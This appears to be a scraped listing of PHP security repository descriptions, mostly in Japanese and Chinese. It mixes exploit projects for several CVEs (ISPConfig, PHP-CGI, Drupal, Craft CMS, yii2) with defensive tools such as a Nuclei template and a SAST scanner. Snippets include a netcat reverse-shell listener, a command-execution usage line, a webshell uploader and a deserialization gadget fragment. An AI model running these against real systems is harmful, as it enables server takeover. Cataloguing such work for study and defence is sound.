CVE-2022-31626

CVE-2022-31626 PHPバージョン7.4.x（7.4.30未満）、8.0.x（8.0.20未満）、8.1.x（8.1.7未満）において、pdomysql拡張がmysqlndドライバと共に使用されている場合、第三者が接続先のホストと接続パスワードを指定できる場合、過度に長いパスワードによりPHPでバッファオーバーフローが発生し、リモートコード実行の脆弱性につながる可能性があります。...

CVE-2024-2961

CVE-2024-2961 CVE-2024–2961 安全问题缓解脚本 描述 此仓库包含一个 Bash 脚本，用于检查并缓解 GNU libc glibc 2.39 及更早版本中标识为 CVE-2024-2961 的缓冲区溢出漏洞。当 PHP 使用 iconv 函数将请求编码与某些中文扩展编码（ISO-2022-CN-EXT）之间进行转换时，该漏洞会影响 PHP。如果被利用，可能导致潜在的广泛影响。 使用方法 前提条件 确保您拥有修改系统配置文件所需的权限。 脚本需要系统上提供 ldd、iconv、grep 和 find 等基本工具。 运行脚本 git clone...

CVE-2023-46818-Exploit

CVE-2023-46818-Exploit これはCVE-2023-46818のための自作エクスプロイトです。ハッピーハッキング！ このエクスプロイトは、ISPConfig バージョン 3.2.11 以前における PHPコードインジェクションの脆弱性を悪用し、CVE-2023-46818 で説明されている攻撃を自動化します。有効な認証情報を使用して ISPConfig パネルにログインし、脆弱な languageedit.php ファイルを標的にして、records フォームフィールドを悪用して悪意のある PHP コードを注入します。このペイロードはサーバー上に sh.php...

cve-2024-4577

cve-2024-4577 poc 脆弱性の確認 python cve-2024-4577.py -u http://172.16.128.133 脆弱性が検出された後、-c を使用してカスタムコマンドを実行できます python cve-2024-4577.py -u http://172.16.128.133 -c '?php system'whoami';'...

CVE-2018-7600-Drupal-0day-RCE

CVE-2018-7600-Drupal-0day-RCE Drupal 0day リモートPHPコード実行 Perl これはDrupal CMSにおける0day RCEエクスプロイトです。 サーバーにペイロードをアップロードできます。 CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 エクスプロイトの実行方法 : 1-git clone https://github.com/dr-iman/CVE-2018-7600-Drupal-0day-RCE.git 2-ActivePerl...

docker-CVE-2019-11043

CVE-2019-11043 を確認するためのDockerイメージとコマンド CVE: CVE-2019-11043 説明: PHP 7.1.x（7.1.33未満）、7.2.x（7.2.24未満）、7.3.x（7.3.11未満）の特定のFPMセットアップ構成では、FPMモジュールが割り当てられたバッファを超えてFCGIプロトコルデータ用に予約された領域に書き込む可能性があり、リモートコード実行の可能性が生じます。 詳細: https://nvd.nist.gov/vuln/detail/CVE-2019-11043 Github エクスプロイト:...

ReconCat

Recon Cat ========================================= はじめに archive.org からアーカイブ URL スナップショットを取得する小さな PHP アプリケーションです。 これを使用すると、任意の年のスナップショット URL の完全なリスト、または可能なすべての年の完全なリストを取得できます。 ペネトレーションテスト用に特別に作られました。 このアプリケーションはWMB-Scrapper を利用しています インストール このリポジトリをクローンしてください、 git clone...

CVE-2024-4577-Nuclei-Template

CVE-2024-4577 Nuclei テンプレート このリポジトリには、CVE-2024-4577として特定されたPHP CGI引数インジェクション脆弱性を検出するためのNucleiテンプレートが含まれています。 テンプレートの詳細 id: CVE-2024-4577 info: name: CVE-2024-4577 PHP CGI Argument Injection author: Hüseyin TINTAŞ severity: critical description: CVE-2024-4577 PHP CGI Argument Injection...

progpilot

progpilot PHP向けの静的アプリケーションセキュリティテスト SAST インストール 多くのオプションがあります。自分のユースケースに最適なものを選択してください。 PHARリリースを使用する リリースページ から最新のPHARアーカイブをダウンロードします。 ファイルをパスの通った場所に配置し、実行可能にします: chmod +x progpilotvX.Y.Z.phar sudo mv progpilotvX.Y.Z.phar /usr/local/bin/progpilot Dockerを使用する...

Craft-CMS-Exploit

このPythonスクリプトは、人気のあるコンテンツ管理システムであるCraft CMSのリモートコード実行脆弱性（CVE-2023-41892）を悪用します。この脆弱性はバージョン4.0.0-RC1から4.4.14に影響し、攻撃者がPHPリバースシェルのように任意のコードをリモートで実行することを可能にします。 使用方法 まず、別のシェルでnetcatリスナーを起動します： nc -nlvp 1234 次に、自分のIPアドレスを確認し、エクスプロイトを実行します： python3 exploit.py -r 10.10.16.47 -p 1234...

rbac

PHP-RBAC v2.x PHP-RBACは、PHP用の認可ライブラリです。開発者にNISTレベル2の階層型ロールベースアクセス制御などを、これまでで最速の実装で提供します。 現在の安定版リリース: PHP-RBAC v2.0 私たちとつながる ホームページ: http://phprbac.net/ OWASPプロジェクトページ: https://www.owasp.org/index.php/Phprbac PHP-RBACドキュメント: http://phprbac.net/docscontents.php PHP-RBAC Wiki:...

CVE-2024-4577-RCE-ATTACK

PHP CVE-2024-4577-RCE-ATTACK-ATTACK 📜 Description PHP 8.1.（8.1.29より前）、8.2. （8.2.20より前）、8.3.（8.3.8より前）のバージョンにおいて、Windows上でApacheとPHP-CGIを使用する際、システムが特定のコードページを使用するように設定されている場合、Windowsは「最適一致」動作を使用して、Win32 API関数に提供されるコマンドライン内の文字を置き換える可能性があります。PHP...

ShellUpload

ShellUpload kurosava.php kurosava.php は悪意のあるPHPウェブシェルアップローダーです。...

mellivora

Mellivora Mellivora は PHP で書かれた CTF エンジンです。簡単な概要は imgur のスクリーンショットギャラリー をご覧ください。クイックスタートするには Docker で Mellivora を使う をご覧ください。 特徴 任意のカテゴリとチャレンジ。 オプションの複数チーム種別に対応したスコアボード。 手動または自動の自由記述提出の採点。 チャレンジのヒント。 チーム進捗ページ。 チャレンジ概要ページ。 カテゴリとチャレンジの公開を特定の時間に制限。 親チャレンジが解決されたときにチャレンジを公開（任意のチームによる）。...

CVE-2026-36239

CVE-2026-36239 CVE-2026-36239: 認証されたRCE in PbootCMS v3.2.12 バックエンド sitecopyright 脆弱性概要: PbootCMS バックエンド管理インターフェースの sitecopyright 機能において、重大なリモートコード実行（RCE）脆弱性が特定されました。具体的には、「フッター情報」フィールドを介して送信された信頼できない入力が、フロントエンドページで処理・レンダリングされる前に十分にサニタイズされていません。セッションが乗っ取られた、またはソーシャルエンジニアリングを受けた認証済み管理者が、誤って悪意のある PH...

CVE-2019-11043

CVE-2019-11043 CVE-2019-11043 用の Python エクスプロイト You can use build environment from https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043 使い方： python3 main.py -u http://iptopage/index.php 成功すると、次のように表示されます： Base status code is 200 qsl:1760 with status code 502 The target maybe vulnerable...

CVE-2022-43144-Stored-XSS

CVE-2022-43144 : Stored-XSS 説明 Canteen Management System v1.0 のクロスサイトスクリプティング XSS の脆弱性により、攻撃者が細工したペイロードを介して任意の Web スクリプトまたは HTML を実行できる可能性があります。 影響 攻撃者がユーザーのセッションを乗っ取り、アカウントを乗っ取ることを可能にします。 この脆弱性を悪用するには、被害者が XXS ペイロードが保存されているページを訪問する必要があります。 影響を受けるアプリケーションリンク...

SCANNER-INURLBR

描述 在搜索引擎中进行高级搜索，支持分析提供的 GET / POST 以捕获电子邮件和 URL，并为每个找到的目标/URL 内置自定义验证逻辑。 一款可在不同 Linux 发行版上运行的 PHP 工具，帮助黑客和安全专业人员执行特定搜索引擎的任务。 内置多种自动化探索方法，包括扫描器。 INURLBR（代号：Facada）工具旨在帮助黑客社区识别 Web 中的潜在漏洞，通过使用 Google Hacking（Dorking）技术执行高级搜索以在互联网上寻找目标。 该工具拥有搜索引擎的强大能力。 免责声明 This or previous program is for Educationa...

CVE-2020-15148-bypasses

CVE-2020-15148-bypasses CVE-2020-15148（yii2の逆シリアル化）に関するいくつかのバイパス poc1 checkAccess = 'system'; $this-id = 'ls'; namespace Faker use yii\rest\CreateAction; class Generator protected $formatters; public function construct $this-formatters'close' = new CreateAction, 'run'; namespace yii\db use...

PT-2026-104075

The CTX Feed Pro plugin for WordPress is vulnerable to Code Injection in all versions up to, and including, 7.6.12. This is due to insufficient input validation on the 'Feed Config' field which is passed directly to the eval function. This makes it possible for authenticated attackers, with...